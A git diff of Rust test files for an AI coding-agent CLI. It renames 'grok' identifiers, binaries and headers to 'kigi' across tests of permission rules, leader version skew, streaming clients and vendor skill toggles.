+    let probe = r#"{"jsonrpc":"2.0","method":"kigi/probe","params":{"ping":true}}"#;
     response_tx.send(probe.to_string()).unwrap();
     let recv = tokio::time::timeout(Duration::from_secs(2), client.recv())
         .await
@@ -3209,7 +3209,7 @@ async fn test_sever_mid_rpc_orphans_response_and_replay_recovers() {
     // signal that the server processed the disconnect.
     let evict = acp_rx.recv().await.unwrap();
     let evict_json: serde_json::Value = serde_json::from_str(&evict).unwrap();
-    assert_eq!(evict_json["method"], "x.ai/internal/evict_sessions");
+    assert_eq!(evict_json["method"], "kigi/internal/evict_sessions");
 
     // The agent completes the turn anyway: durable terminal notification plus
     // the RPC response addressed to the dead client.
diff --git a/crates/codegen/kigi-shell/tests/test_leader_version_skew.rs b/crates/codegen/kigi-shell/tests/test_leader_version_skew.rs
index d58992e..a526fc9 100644
--- a/crates/codegen/kigi-shell/tests/test_leader_version_skew.rs
+++ b/crates/codegen/kigi-shell/tests/test_leader_version_skew.rs
@@ -5,14 +5,14 @@
 //! Binaries are resolved per role:
 //! - `KIGI_BINARY_LEADER` — the binary that elects the initial leader
 //!   (typically the latest released stable, e.g. fetched from
-//!   `https://storage.googleapis.com/grok-build-public-artifacts/cli/grok-<ver>-linux-x86_64`).
+//!   `https://storage.googleapis.com/kigi-public-artifacts/cli/kigi-<ver>-linux-x86_64`).
 //! - `KIGI_BINARY_CLIENT` — the second client (typically a freshly built main).
 //!
 //! All tests are `#[ignore]`d: they need two pre-built binaries and spawn real
 //! leader subprocesses. On-demand today — no CI lane runs them; invoke with:
 //!
 //! ```bash
-//! KIGI_BINARY_LEADER=/path/to/grok-old KIGI_BINARY_CLIENT=/path/to/grok-new \
+//! KIGI_BINARY_LEADER=/path/to/kigi-old KIGI_BINARY_CLIENT=/path/to/kigi-new \
 //!   cargo test -p kigi-shell --test test_leader_version_skew -- --ignored --nocapture
 //! ```
 
@@ -202,7 +202,7 @@ async fn old_client_adopts_new_leader_and_still_functions() {
                 .expect("old client prompt on new leader failed");
 
             // The leader records the client/leader version mismatch (the
-            // x.ai/leader/version_mismatch notification's server-side warn).
+            // kigi/leader/version_mismatch notification's server-side warn).
             let deadline = tokio::time::Instant::now() + Duration::from_secs(10);
             let mut saw_mismatch = false;
             while tokio::time::Instant::now() < deadline {
@@ -221,7 +221,7 @@ async fn old_client_adopts_new_leader_and_still_functions() {
         .await;
 }
 
-/// `grok update`'s relaunch signal against a REAL old leader: connect,
+/// `kigi update`'s relaunch signal against a REAL old leader: connect,
 /// require `relaunch_v1`, send `RelaunchForUpdate`, and the leader exits so
 /// the surviving client re-elects. Mirrors the private
 /// `signal_leaders_to_relaunch` in `kigi-bin/src/main.rs` (which is
@@ -260,7 +260,7 @@ async fn relaunch_for_update_drives_real_old_leader_to_exit() {
             // The update-signal body, against the sandboxed socket.
             let control = LeaderClient::connect(
                 home.path().join(".kigi").join("leader.sock"),
-                "grok-pager-update",
+                "kigi-pager-update",
                 ClientMode::Stdio,
                 ClientCapabilities::default(),
             )
diff --git a/crates/codegen/kigi-shell/tests/test_mcp_permission_persistence.rs b/crates/codegen/kigi-shell/tests/test_mcp_permission_persistence.rs
index 2d443be..2ccd894 100644
--- a/crates/codegen/kigi-shell/tests/test_mcp_permission_persistence.rs
+++ b/crates/codegen/kigi-shell/tests/test_mcp_permission_persistence.rs
@@ -242,7 +242,7 @@ fn rule(action: RuleAction, pattern: &str) -> PermissionRule {
 #[tokio::test]
 #[serial]
 async fn mcp_tool_grant_persists_and_short_circuits_next_request() {
-    run_actor_test(ClientType::GrokPager, |handle, gw, cwd| async move {
+    run_actor_test(ClientType::KigiPager, |handle, gw, cwd| async move {
         // First request prompts; user picks tool-scope.
         gw.expect_allow_always_mcp_tool("linear__list");
         let d = request(&handle, mcp("linear__list"), "1").await;
@@ -300,7 +300,7 @@ async fn mcp_tool_grant_persists_and_short_circuits_next_request() {
 #[tokio::test]
 #[serial]
 async fn fallback_client_plain_allow_always_persists_mcp_tool() {
-    // Regression: Generic / GrokWeb / Extension clients
+    // Regression: Generic / KigiWeb / Extension clients
     // submit the legacy `"always-allow"` option id. The prompter maps that
     // to plain `PromptOutcome::AllowAlways`, and the manager's plain arm
     // must persist tool-scope into `allowed_mcp_tools`.
@@ -362,7 +362,7 @@ async fn policy_ask_suppresses_mcp_tool_allowlist() {
                 make_session_id(),
                 gw.sender.clone(),
                 cwd.clone(),
-                ClientType::GrokPager,
+                ClientType::KigiPager,
                 Some(policy),
                 vec![], // deny_read_globs
                 vec![],
@@ -412,7 +412,7 @@ async fn policy_ask_suppresses_mcp_server_allowlist() {
                 make_session_id(),
                 gw.sender.clone(),
                 cwd.clone(),
-                ClientType::GrokPager,
+                ClientType::KigiPager,
                 Some(policy),
                 vec![], // deny_read_globs
                 vec![],
@@ -456,7 +456,7 @@ async fn policy_deny_takes_precedence_over_mcp_allowlist() {
                 make_session_id(),
                 gw.sender.clone(),
                 cwd.clone(),
-                ClientType::GrokPager,
+                ClientType::KigiPager,
                 Some(policy),
                 vec![], // deny_read_globs
                 vec![],
@@ -482,7 +482,7 @@ async fn policy_allow_short_circuits_before_mcp_allowlist() {
     let policy = PermissionConfig::new(vec![rule(RuleAction::Allow, "linear__*")]);
 
     run_actor_test_with_policy(
-        ClientType::GrokPager,
+        ClientType::KigiPager,
         Some(policy),
         |handle, _gw, _cwd| async move {
             let d = request(&handle, mcp("linear__list"), "1").await;
@@ -499,7 +499,7 @@ async fn empty_server_prefix_falls_back_to_tool_scope() {
     // somehow makes it through, the prompter must downgrade to tool-scope
     // and persist via `AllowAlwaysMcpTool` — never write an empty server
     // prefix into `allowed_mcp_servers`.
-    run_actor_test(ClientType::GrokPager, |handle, gw, cwd| async move {
+    run_actor_test(ClientType::KigiPager, |handle, gw, cwd| async move {
         let meta = serde_json::json!({
             "kind": "server",
             "server": "",
@@ -531,7 +531,7 @@ async fn allow_always_mcp_tool_ignores_client_supplied_tool_name() {
     // only. The manager MUST persist the name from `AccessKind::MCPTool`
     // so a buggy or malicious client cannot whitelist a different tool
     // than the one the user saw in the prompt.
-    run_actor_test(ClientType::GrokPager, |handle, gw, cwd| async move {
+    run_actor_test(ClientType::KigiPager, |handle, gw, cwd| async move {
         // Request approves `linear__list`, but the response claims a
         // different tool name (e.g. `notion__fetch`).
         let meta = serde_json::json!({
@@ -571,7 +571,7 @@ async fn allow_always_mcp_server_rejects_mismatched_prefix() {
     // canonical server prefix derived from the access kind. On mismatch,
     // the manager downgrades to tool-scope on the access-kind name -- the
     // smallest blast radius the user actually approved.
-    run_actor_test(ClientType::GrokPager, |handle, gw, cwd| async move {
+    run_actor_test(ClientType::KigiPager, |handle, gw, cwd| async move {
         // Approve `linear__list` (canonical server prefix is `linear`),
         // but the client claims `notion` as the server.
         let meta = serde_json::json!({
@@ -613,7 +613,7 @@ async fn allow_always_mcp_server_rejects_mismatched_prefix() {
 async fn allow_always_mcp_server_persists_canonical_prefix_on_match() {
     // Sanity: a client that supplies the correct canonical prefix
     // succeeds (this is the common case post-fix).
-    run_actor_test(ClientType::GrokPager, |handle, gw, cwd| async move {
+    run_actor_test(ClientType::KigiPager, |handle, gw, cwd| async move {
         let meta = serde_json::json!({
             "kind": "server",
             "server": "linear",
@@ -645,7 +645,7 @@ async fn allow_always_mcp_server_downgrades_when_access_has_no_separator() {
     // malformed `ToolInput::MCPTool`), the canonical prefix is None and
     // server-scope is unreachable. The manager downgrades to tool-scope
     // on the raw access name rather than persisting the client prefix.
-    run_actor_test(ClientType::GrokPager, |handle, gw, cwd| async move {
+    run_actor_test(ClientType::KigiPager, |handle, gw, cwd| async move {
         let meta = serde_json::json!({
             "kind": "server",
             "server": "linear",
@@ -681,7 +681,7 @@ async fn dont_ask_policy_denies_without_prompting() {
     // No scripted gateway responses: if the manager tried to prompt,
     // the gateway would block forever, proving dont_ask short-circuits.
     run_actor_test_with_policy(
-        ClientType::GrokPager,
+        ClientType::KigiPager,
         Some(policy),
         |handle, _gw, _cwd| async move {
             let d = request(&handle, mcp("linear__list"), "1").await;
@@ -716,7 +716,7 @@ async fn deny_rule_enforced_in_yolo_mode_bash() {
     }]);
 
     run_actor_test_full(
-        ClientType::GrokPager,
+        ClientType::KigiPager,
         Some(policy),
         true,
         |handle, _gw, _cwd| async move {
@@ -752,7 +752,7 @@ async fn deny_rule_enforced_in_yolo_mode_mcp() {
     }]);
 
     run_actor_test_full(
-        ClientType::GrokPager,
+        ClientType::KigiPager,
         Some(policy),
         true,
         |handle, _gw, _cwd| async move {
@@ -783,7 +783,7 @@ async fn deny_rule_enforced_in_yolo_mode_edit() {
     }]);
 
     run_actor_test_full(
-        ClientType::GrokPager,
+        ClientType::KigiPager,
         Some(policy),
         true,
         |handle, _gw, _cwd| async move {
@@ -814,7 +814,7 @@ async fn deny_rule_enforced_in_yolo_mode_web_fetch() {
     }]);
 
     run_actor_test_full(
-        ClientType::GrokPager,
+        ClientType::KigiPager,
         Some(policy),
         true,
         |handle, _gw, _cwd| async move {
@@ -848,7 +848,7 @@ async fn deny_rule_enforced_in_yolo_mode_web_fetch() {
 #[serial]
 async fn yolo_mode_without_deny_rules_approves_everything() {
     run_actor_test_full(
-        ClientType::GrokPager,
+        ClientType::KigiPager,
         None,
         true,
         |handle, _gw, _cwd| async move {
diff --git a/crates/codegen/kigi-shell/tests/test_refusal_stop_reason.rs b/crates/codegen/kigi-shell/tests/test_refusal_stop_reason.rs
index e741550..c149379 100644
--- a/crates/codegen/kigi-shell/tests/test_refusal_stop_reason.rs
+++ b/crates/codegen/kigi-shell/tests/test_refusal_stop_reason.rs
@@ -71,7 +71,7 @@ async fn test_refusal_turn_completes_with_single_messages_request() {
     with_local_set(|| async {
         let server = refusal_messages_server().await;
         let workdir = git_workdir();
-        let client = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let client = KigiStdioClient::spawn(&server, workdir.path()).await;
 
         client.initialize_with_timeout().await;
         let session_id = client
diff --git a/crates/codegen/kigi-shell/tests/test_sampling_client.rs b/crates/codegen/kigi-shell/tests/test_sampling_client.rs
index a30b628..a59bc4d 100644
--- a/crates/codegen/kigi-shell/tests/test_sampling_client.rs
+++ b/crates/codegen/kigi-shell/tests/test_sampling_client.rs
@@ -255,7 +255,7 @@ async fn test_chat_completions_streaming_tool_calls() {
     let server = MockInferenceServer::start().await.unwrap();
     server.enqueue_response(
         "/v1/chat/completions",
-        ScriptedResponse::sse(chat_completion_tool_call_stream(tool_calls, "grok-test")),
+        ScriptedResponse::sse(chat_completion_tool_call_stream(tool_calls, "kigi-test")),
     );
     let client = create_test_client(&server.url(), ApiBackend::ChatCompletions);
 
@@ -296,7 +296,7 @@ async fn test_chat_completions_with_reasoning() {
         ScriptedResponse::sse(chat_completion_with_reasoning_stream(
             "Let me think about this",
             "The answer is 42",
-            "grok-test",
+            "kigi-test",
         )),
     );
     let client = create_test_client(&server.url(), ApiBackend::ChatCompletions);
@@ -344,7 +344,7 @@ async fn chat_completions_collect_synthesizes_reasoning_sibling() {
         ScriptedResponse::sse(chat_completion_with_reasoning_stream(
             "Let me think about this",
             "The answer is 42",
-            "grok-test",
+            "kigi-test",
         )),
     );
     let client = create_test_client(&server.url(), ApiBackend::ChatCompletions);
@@ -453,7 +453,7 @@ async fn chat_completions_upgrade_folds_reconstructed_reasoning_into_request() {
     );
 }
 
-/// Upgrade path, grok-build / Responses API: a legacy session whose
+/// Upgrade path, kigi / Responses API: a legacy session whose
 /// assistant carries inline `reasoning: {text, encrypted, id}` must, on
 /// load, reconstruct a sibling Reasoning item that round-trips back to
 /// the Responses API as a **typed** `reasoning` input item — `summary`,
@@ -462,7 +462,7 @@ async fn chat_completions_upgrade_folds_reconstructed_reasoning_into_request() {
 /// through `reasoning_item_text`.
 #[tokio::test]
 async fn responses_upgrade_roundtrips_reconstructed_reasoning_as_typed_input() {
-    // 1. Seed a legacy grok-build chat_history.jsonl (inline reasoning
+    // 1. Seed a legacy kigi chat_history.jsonl (inline reasoning
     //    with encrypted_content + id — the older shape).
     let dir = tempfile::tempdir().unwrap();
     std::fs::write(
@@ -472,7 +472,7 @@ async fn responses_upgrade_roundtrips_reconstructed_reasoning_as_typed_input() {
             "\n",
             r#"{"type":"user","content":[{"type":"text","text":"q1"}]}"#,
             "\n",
-            r#"{"type":"assistant","content":"a1","reasoning":{"text":"legacy grok-build reasoning","encrypted":"ENC_BLOB_xyz","id":"rs_grokbuild_legacy"},"model_id":"grok-build"}"#,
+            r#"{"type":"assistant","content":"a1","reasoning":{"text":"legacy kigi reasoning","encrypted":"ENC_BLOB_xyz","id":"rs_kigibuild_legacy"},"model_id":"kigi"}"#,
             "\n",
         ),
     )
@@ -513,7 +513,7 @@ async fn responses_upgrade_roundtrips_reconstructed_reasoning_as_typed_input() {
         });
     assert_eq!(
         reasoning.get("id").and_then(Value::as_str),
-        Some("rs_grokbuild_legacy"),
+        Some("rs_kigibuild_legacy"),
         "reasoning id preserved"
     );
     assert_eq!(
@@ -528,7 +528,7 @@ async fn responses_upgrade_roundtrips_reconstructed_reasoning_as_typed_input() {
     );
     assert_eq!(
         summary[0].get("text").and_then(Value::as_str),
-        Some("legacy grok-build reasoning")
+        Some("legacy kigi reasoning")
     );
 }
 
@@ -550,7 +550,7 @@ async fn messages_upgrade_emits_reconstructed_reasoning_as_thinking_block() {
             "\n",
             r#"{"type":"user","content":[{"type":"text","text":"q1"}]}"#,
             "\n",
-            r#"{"type":"assistant","content":"a1","reasoning":{"text":"legacy anthropic thinking","encrypted":"SIGNATURE_abc","id":""},"model_id":"grok-4.5"}"#,
+            r#"{"type":"assistant","content":"a1","reasoning":{"text":"legacy anthropic thinking","encrypted":"SIGNATURE_abc","id":""},"model_id":"kigi-4.5"}"#,
             "\n",
         ),
     )
@@ -738,7 +738,7 @@ async fn test_responses_api_streaming_tool_call() {
             "call_xyz789",
             "bash",
             r#"{"command": "ls -la"}"#,
-            "grok-test",
+            "kigi-test",
         )),
     );
     let client = create_test_client(&server.url(), ApiBackend::Responses);
@@ -781,7 +781,7 @@ async fn test_responses_api_with_reasoning_and_encrypted_content() {
             "Let me think step by step about this problem.",
             Some("enc_base64_encrypted_reasoning_chain_data"),
             "The answer based on my reasoning is 42.",
-            "grok-test",
+            "kigi-test",
         )),
     );
     let client = create_test_client(&server.url(), ApiBackend::Responses);
@@ -848,7 +848,7 @@ async fn test_responses_api_reasoning_without_encrypted() {
             "I need to analyze the code carefully.",
             None, // No encrypted content
             "Here is my analysis.",
-            "grok-test",
+            "kigi-test",
         )),
     );
     let client = create_test_client(&server.url(), ApiBackend::Responses);
@@ -955,7 +955,7 @@ async fn test_stream_error_during_streaming() {
                 "id": "chatcmpl-test123",
                 "object": "chat.completion.chunk",
                 "created": 1234567890,
-                "model": "grok-test",
+                "model": "kigi-test",
                 "choices": [{
                     "index": 0,
                     "delta": {"role": "assistant", "content": "Hello"},
@@ -1089,8 +1089,11 @@ async fn test_request_includes_headers() {
     let request = server.requests().pop().unwrap();
 
     assert_eq!(request.header("authorization"), Some("Bearer test-api-key"));
-    assert_eq!(request.header("x-grok-conv-id"), Some("conv-12345"));
-    assert_eq!(request.header("x-grok-req-id"), Some("req-67890"));
+    // PRD F3: auth is a plain bearer — the legacy proxy's tracking marker
+    // headers are never sent on the wire, even when conv/req ids are set on
+    // the request (they remain client-internal plumbing).
+    assert_eq!(request.header("x-kigi-conv-id"), None);
+    assert_eq!(request.header("x-kigi-req-id"), None);
 }
 
 /// The session writes the resolved `x-compaction-at` value into
@@ -1179,7 +1182,7 @@ async fn test_responses_api_request_format() {
 }
 
 /// The sampler owns the doom-loop opt-in: setting
-/// `SamplerConfig::doom_loop_recovery` puts `x-grok-doom-loop-check` on the
+/// `SamplerConfig::doom_loop_recovery` puts `x-kigi-doom-loop-check` on the
 /// wire AND arms the collector, and the server's named check event is
 /// absorbed mid-stream without disturbing the typed event flow.
 #[tokio::test]
@@ -1216,7 +1219,7 @@ async fn test_doom_loop_check_enabled_sends_header_and_absorbs_check_event() {
 
     let logged = server.requests().pop().unwrap();
     assert!(logged.path.contains("/responses"));
-    assert_eq!(logged.header("x-grok-doom-loop-check"), Some("true"));
+    assert_eq!(logged.header("x-kigi-doom-loop-check"), Some("true"));
 }
 
 /// With the check disabled no header goes on the wire, and check frames from
@@ -1257,7 +1260,7 @@ async fn test_doom_loop_check_disabled_sends_no_header_and_drops_check_frames()
 
     let logged = server.requests().pop().unwrap();
     assert!(logged.path.contains("/responses"));
-    assert_eq!(logged.header("x-grok-doom-loop-check"), None);
+    assert_eq!(logged.header("x-kigi-doom-loop-check"), None);
 }
 
 // ============================================================================
diff --git a/crates/codegen/kigi-shell/tests/test_subagent_orphan_reconcile.rs b/crates/codegen/kigi-shell/tests/test_subagent_orphan_reconcile.rs
index 54127d3..eac1db0 100644
--- a/crates/codegen/kigi-shell/tests/test_subagent_orphan_reconcile.rs
+++ b/crates/codegen/kigi-shell/tests/test_subagent_orphan_reconcile.rs
@@ -6,7 +6,7 @@
 //! session's `subagents/` dir and flips any stale `running` meta (not tracked by
 //! the live coordinator) to `cancelled` (mechanism A, the meta pass).
 //!
-//! This test spawns a real `grok agent stdio` process, seeds an orphaned
+//! This test spawns a real `kigi agent stdio` process, seeds an orphaned
 //! `running` meta on disk, resumes the session, and asserts the meta was
 //! reconciled to `cancelled`.
 //!
@@ -57,7 +57,7 @@ async fn resume_reconciles_orphaned_running_subagent() {
         let workdir = git_workdir();
 
         // Phase 1: create a real session, then take its home so we can seed it.
-        let mut writer = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let mut writer = KigiStdioClient::spawn(&server, workdir.path()).await;
         writer.initialize_with_timeout().await;
         let session_id = writer.create_session_with_timeout(workdir.path()).await;
         let shared_home = writer.take_home();
@@ -66,7 +66,7 @@ async fn resume_reconciles_orphaned_running_subagent() {
         // Simulate a crash: inject a subagent meta left `running` on disk (no
         // terminal write, no SubagentFinished) — exactly what a dead process
         // leaves behind.
-        // GrokStdioClient sets HOME=<temp>; the binary uses <HOME>/.kigi as KIGI_SHARE_DIR.
+        // KigiStdioClient sets HOME=<temp>; the binary uses <HOME>/.kigi as KIGI_SHARE_DIR.
         let kigi_home = shared_home.path().join(".kigi");
         let session_dir = locate_session_dir(&kigi_home, session_id.0.as_ref());
         let sub_id = "sa-orphan";
@@ -89,7 +89,7 @@ async fn resume_reconciles_orphaned_running_subagent() {
         .unwrap();
 
         // Phase 2: resume in a fresh process. `load_session` runs the reconcile.
-        let reader = GrokStdioClient::spawn_with_home(&server, workdir.path(), shared_home).await;
+        let reader = KigiStdioClient::spawn_with_home(&server, workdir.path(), shared_home).await;
         reader.initialize_with_timeout().await;
         let _ = reader
             .load_session_with_timeout(&session_id, workdir.path())
diff --git a/crates/codegen/kigi-shell/tests/test_summary_reasoning_effort.rs b/crates/codegen/kigi-shell/tests/test_summary_reasoning_effort.rs
index 0bb763c..fef9e05 100644
--- a/crates/codegen/kigi-shell/tests/test_summary_reasoning_effort.rs
+++ b/crates/codegen/kigi-shell/tests/test_summary_reasoning_effort.rs
@@ -5,7 +5,7 @@
 //! creation — not only after an explicit model/effort switch (the old
 //! behavior, which left the field absent for sessions that never switched).
 //!
-//! Each test spawns a real `grok agent stdio` process against a mock
+//! Each test spawns a real `kigi agent stdio` process against a mock
 //! inference server and asserts on the persisted `summary.json`.
 //!
 //! Run locally:
@@ -60,10 +60,10 @@ async fn test_fresh_session_persists_reasoning_effort() {
         // user config override (the same path a remote settings catalog entry or
         // `--effort` would populate).
         let home = tempfile::TempDir::new().expect("create temp home");
-        let grok_dir = home.path().join(".kigi");
-        std::fs::create_dir_all(&grok_dir).expect("create .kigi dir");
+        let kigi_dir = home.path().join(".kigi");
+        std::fs::create_dir_all(&kigi_dir).expect("create .kigi dir");
         std::fs::write(
-            grok_dir.join("config.toml"),
+            kigi_dir.join("config.toml"),
             r#"
 [model.test-model]
 supports_reasoning_effort = true
@@ -72,7 +72,7 @@ reasoning_effort = "high"
         )
         .expect("write config.toml");
 
-        let client = GrokStdioClient::spawn_with_home(&server, workdir.path(), home).await;
+        let client = KigiStdioClient::spawn_with_home(&server, workdir.path(), home).await;
         client.initialize_with_timeout().await;
         let session_id = client.create_session_with_timeout(workdir.path()).await;
         let result = client.prompt_with_timeout(&session_id, "say hello").await;
@@ -98,7 +98,7 @@ async fn test_fresh_session_without_effort_omits_field() {
             .await
             .expect("start mock server");
         let workdir = git_workdir();
-        let client = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let client = KigiStdioClient::spawn(&server, workdir.path()).await;
 
         client.initialize_with_timeout().await;
         let session_id = client.create_session_with_timeout(workdir.path()).await;
diff --git a/crates/codegen/kigi-shell/tests/test_trusted_local_plugin_refresh_e2e.rs b/crates/codegen/kigi-shell/tests/test_trusted_local_plugin_refresh_e2e.rs
index db302bb..b94c030 100644
--- a/crates/codegen/kigi-shell/tests/test_trusted_local_plugin_refresh_e2e.rs
+++ b/crates/codegen/kigi-shell/tests/test_trusted_local_plugin_refresh_e2e.rs
@@ -6,7 +6,7 @@
 //! 3. Start a headless session — startup must re-copy trusted/user-home locals.
 //! 4. Smoke-validate session JSON under `$KIGI_SHARE_DIR/sessions/` after exit.
 //!
-//! Requires a built `grok` binary (`KIGI_BINARY` or cargo-built pager) for the
+//! Requires a built `kigi` binary (`KIGI_BINARY` or cargo-built pager) for the
 //! ignored headless test.
 //!
 //! ```bash
@@ -114,7 +114,7 @@ fn trusted_local_refresh_surfaces_new_agent_via_discovery() {
     let home = dunce::canonicalize(home_tmp.path()).unwrap();
     let kigi_home = home.join(".kigi");
     let _home_guard = EnvVarGuard::set("HOME", &home);
-    let _grok_guard = EnvVarGuard::set("KIGI_SHARE_DIR", &kigi_home);
+    let _kigi_guard = EnvVarGuard::set("KIGI_SHARE_DIR", &kigi_home);
 
     // Live source: a user-home local plugin (mirrors a `~/.claude` local tree).
     let source = home
@@ -198,7 +198,7 @@ fn trusted_local_refresh_surfaces_new_agent_via_discovery() {
 
 /// Full binary smoke: session start runs refresh then writes session JSON.
 #[tokio::test]
-#[ignore = "requires pre-built grok binary; run with --ignored"]
+#[ignore = "requires pre-built kigi binary; run with --ignored"]
 #[serial]
 async fn headless_session_refreshes_trusted_local_plugin_and_writes_session_json() {
     let server = MockInferenceServer::start()
@@ -223,7 +223,7 @@ async fn headless_session_refreshes_trusted_local_plugin_and_writes_session_json
     // is only for the in-process post-run discovery assertion (which resolves the
     // registry via kigi_home()). `#[serial]` keeps it from racing other tests.
     let _home_guard = EnvVarGuard::set("HOME", &home);
-    let _grok_guard = EnvVarGuard::set("KIGI_SHARE_DIR", &kigi_home);
+    let _kigi_guard = EnvVarGuard::set("KIGI_SHARE_DIR", &kigi_home);
 
     let mut registry = InstallRegistry::empty(kigi_home.join("installed-plugins"));
     let installed = register_local_install(&mut registry, &source);
@@ -233,7 +233,7 @@ async fn headless_session_refreshes_trusted_local_plugin_and_writes_session_json
     assert!(!installed.path.join("agents/new.md").exists());
 
     let workdir = git_workdir();
-    let mut cmd = tokio::process::Command::new(grok_binary());
+    let mut cmd = tokio::process::Command::new(kigi_binary());
     cmd.args([
         "-p",
         "say hello",
diff --git a/crates/codegen/kigi-shell/tests/test_vendor_compat.rs b/crates/codegen/kigi-shell/tests/test_vendor_compat.rs
index c7bbcb9..875d772 100644
--- a/crates/codegen/kigi-shell/tests/test_vendor_compat.rs
+++ b/crates/codegen/kigi-shell/tests/test_vendor_compat.rs
@@ -1,12 +1,12 @@
 //! Vendor-compatibility end-to-end tests.
 //!
 //! Each test builds a fake `$HOME` containing skills/rules/AGENTS.md under the
-//! `.kigi`, `.cursor`, and `.claude` vendor dirs, spawns a real `grok agent
+//! `.kigi`, `.cursor`, and `.claude` vendor dirs, spawns a real `kigi agent
 //! stdio` process against the mock inference server (toggling the
-//! `GROK_<VENDOR>_<SURFACE>_ENABLED` env vars via `cmd.env`), sends one prompt,
+//! `KIGI_<VENDOR>_<SURFACE>_ENABLED` env vars via `cmd.env`), sends one prompt,
 //! and asserts on the full inference request bodies:
 //!
-//! - the Grok-native skill is always present regardless of toggles
+//! - the Kigi-native skill is always present regardless of toggles
 //! - each of the 6 (vendor x surface) cells toggles independently
 //! - a vendor-shipped default skill (`shell`) under `~/.cursor` is always
 //!   dropped by the denylist
@@ -33,7 +33,7 @@ where
 
 /// Unique markers placed in skill descriptions / file contents so assertions
 /// can't be fooled by incidental occurrences of a bare word like "shell".
-const MARKER_GROK_SKILL: &str = "ZZ_GROK_SKILL_MARKER";
+const MARKER_KIGI_SKILL: &str = "ZZ_KIGI_SKILL_MARKER";
 const MARKER_CURSOR_SKILL: &str = "ZZ_CURSOR_SKILL_MARKER";
 const MARKER_CURSOR_SHELL: &str = "ZZ_CURSOR_SHELL_DENYLISTED_MARKER";
 const MARKER_CLAUDE_SKILL: &str = "ZZ_CLAUDE_SKILL_MARKER";
@@ -63,7 +63,7 @@ fn write_skill(home: &Path, vendor_dir: &str, name: &str, marker: &str) {
 /// Populate a fake `$HOME` + repo cwd with the full vendor-compat fixture set.
 fn seed_fixtures(home: &Path, cwd: &Path) {
     // Skills (User scope, home-based).
-    write_skill(home, ".kigi", "grok-skill", MARKER_GROK_SKILL);
+    write_skill(home, ".kigi", "kigi-skill", MARKER_KIGI_SKILL);
     write_skill(home, ".cursor", "my-cursor-skill", MARKER_CURSOR_SKILL);
     // `shell` is a Cursor vendor-default → must be denylisted under ~/.cursor.
     write_skill(home, ".cursor", "shell", MARKER_CURSOR_SHELL);
@@ -102,7 +102,7 @@ async fn run_scenario(env: &[(&str, &str)]) -> String {
     let home = tempfile::TempDir::new().expect("create temp home");
     seed_fixtures(home.path(), workdir.path());
 
-    let client = GrokStdioClient::spawn_with_home_and_env(&server, workdir.path(), home, env).await;
+    let client = KigiStdioClient::spawn_with_home_and_env(&server, workdir.path(), home, env).await;
     client.initialize_with_timeout().await;
     let session_id = client.create_session_with_timeout(workdir.path()).await;
     let _ = client.prompt_with_timeout(&session_id, "hello").await;
@@ -122,7 +122,7 @@ async fn run_scenario(env: &[(&str, &str)]) -> String {
 
 // ── Skills ──────────────────────────────────────────────────────────────────
 
-/// Defaults (all vendors on): grok + cursor-vendor + claude-vendor skills present; the
+/// Defaults (all vendors on): kigi + cursor-vendor + claude-vendor skills present; the
 /// denylisted vendor builtin `shell` is dropped.
 #[tokio::test]
 #[ignore] // requires pre-built binary
@@ -130,8 +130,8 @@ async fn vendor_compat_defaults_include_vendor_skills_but_drop_denylisted() {
     with_local_set(|| async {
         let body = run_scenario(&[]).await;
         assert!(
-            body.contains(MARKER_GROK_SKILL),
-            "grok-skill must always be present"
+            body.contains(MARKER_KIGI_SKILL),
+            "kigi-skill must always be present"
         );
         assert!(
             body.contains(MARKER_CURSOR_SKILL),
@@ -149,15 +149,15 @@ async fn vendor_compat_defaults_include_vendor_skills_but_drop_denylisted() {
     .await;
 }
 
-/// `KIGI_CURSOR_SKILLS_ENABLED=false` drops the cursor-vendor skill; grok stays.
+/// `KIGI_CURSOR_SKILLS_ENABLED=false` drops the cursor-vendor skill; kigi stays.
 #[tokio::test]
 #[ignore] // requires pre-built binary
 async fn vendor_compat_cursor_skills_disabled() {
     with_local_set(|| async {
         let body = run_scenario(&[("KIGI_CURSOR_SKILLS_ENABLED", "false")]).await;
         assert!(
-            body.contains(MARKER_GROK_SKILL),
-            "grok-skill always present"
+            body.contains(MARKER_KIGI_SKILL),
+            "kigi-skill always present"
         );
         assert!(
             !body.contains(MARKER_CURSOR_SKILL),
@@ -169,15 +169,15 @@ async fn vendor_compat_cursor_skills_disabled() {
     .await;
 }
 
-/// `KIGI_CLAUDE_SKILLS_ENABLED=false` drops the claude-vendor skill; grok stays.
+/// `KIGI_CLAUDE_SKILLS_ENABLED=false` drops the claude-vendor skill; kigi stays.
 #[tokio::test]
 #[ignore] // requires pre-built binary
 async fn vendor_compat_claude_skills_disabled() {
     with_local_set(|| async {
         let body = run_scenario(&[("KIGI_CLAUDE_SKILLS_ENABLED", "false")]).await;
         assert!(
-            body.contains(MARKER_GROK_SKILL),
-            "grok-skill always present"
+            body.contains(MARKER_KIGI_SKILL),
+            "kigi-skill always present"
         );
         assert!(
             !body.contains(MARKER_CLAUDE_SKILL),
@@ -307,7 +307,7 @@ async fn vendor_compat_all_cursor_disabled() {
         assert!(!body.contains(MARKER_CURSOR_SHELL));
         assert!(!body.contains(MARKER_CURSOR_RULE));
         assert!(!body.contains(MARKER_CURSOR_AGENTS));
-        assert!(body.contains(MARKER_GROK_SKILL), "grok always present");
+        assert!(body.contains(MARKER_KIGI_SKILL), "kigi always present");
         assert!(body.contains(MARKER_CLAUDE_SKILL), "claude unaffected");
         assert!(body.contains(MARKER_CLAUDE_RULE), "claude unaffected");
         assert!(body.contains(MARKER_CLAUDE_AGENTS), "claude unaffected");
@@ -330,7 +330,7 @@ async fn vendor_compat_all_claude_disabled() {
         assert!(!body.contains(MARKER_CLAUDE_SKILL));
         assert!(!body.contains(MARKER_CLAUDE_RULE));
         assert!(!body.contains(MARKER_CLAUDE_AGENTS));
-        assert!(body.contains(MARKER_GROK_SKILL), "grok always present");
+        assert!(body.contains(MARKER_KIGI_SKILL), "kigi always present");
         assert!(body.contains(MARKER_CURSOR_SKILL), "cursor unaffected");
         assert!(body.contains(MARKER_CURSOR_RULE), "cursor unaffected");
         assert!(body.contains(MARKER_CURSOR_AGENTS), "cursor unaffected");
@@ -339,7 +339,7 @@ async fn vendor_compat_all_claude_disabled() {
     .await;
 }
 
-/// All vendor compat OFF: only grok-native skill survives.
+/// All vendor compat OFF: only kigi-native skill survives.
 #[tokio::test]
 #[ignore] // requires pre-built binary
 async fn vendor_compat_all_vendors_disabled() {
